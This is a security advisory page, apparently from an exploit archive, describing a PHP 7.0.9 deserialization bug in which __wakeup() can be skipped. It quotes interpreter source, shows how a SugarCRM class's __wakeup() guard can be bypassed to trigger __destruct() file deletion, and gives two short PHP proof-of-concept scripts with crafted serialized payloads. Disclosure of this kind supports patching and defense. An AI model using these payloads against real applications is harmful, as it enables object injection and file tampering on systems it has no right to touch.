PHP 7.0.9 __wakeup() in Deserialization

2016.09.05
Credit: taoguangchen
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-502


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Description: ------------ Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization ``` static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce) { ... if (ce->serialize == NULL) { object_init_ex(*rval, ce); <=== create object ... static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) { ... if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== create object properties return 0; } if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) { INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== call to __wakeup() BG(serialize_lock)--; } ``` If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues. i)The unexpected object was destroyed, invoke __destruct() Some app revents objects deserialization via __wakeup(), ex SugarCRM: https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php ``` public function __destruct() { if(is_resource($this->stream)) { fclose($this->stream); $this->stream = null; } if($this->_cleanup) { @unlink($this->stream_name); } } /** * This is needed to prevent unserialize vulnerability */ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } ``` So attacker can bypass __wakeup() and invoke __destruct() with crafted properties. ii)The unexpected object wasn't destroyed, invoke more magic methods. Keeping the unexpected object via customized deserialization. PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); echo $data[1]; ?> ``` Keeping the unexpected object via session deserialization. ``` PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ { ... PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { var_push_dtor(&var_hash, &session_vars); } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); ... PS(http_session_vars) = session_vars; ``` The unexpected data in during deserialization will be still stored into $_SESSION. PoC: ``` <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}'; session_decode($sess); echo $_SESSION; ?> ```

References:

https://bugs.php.net/bug.php?id=72663


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top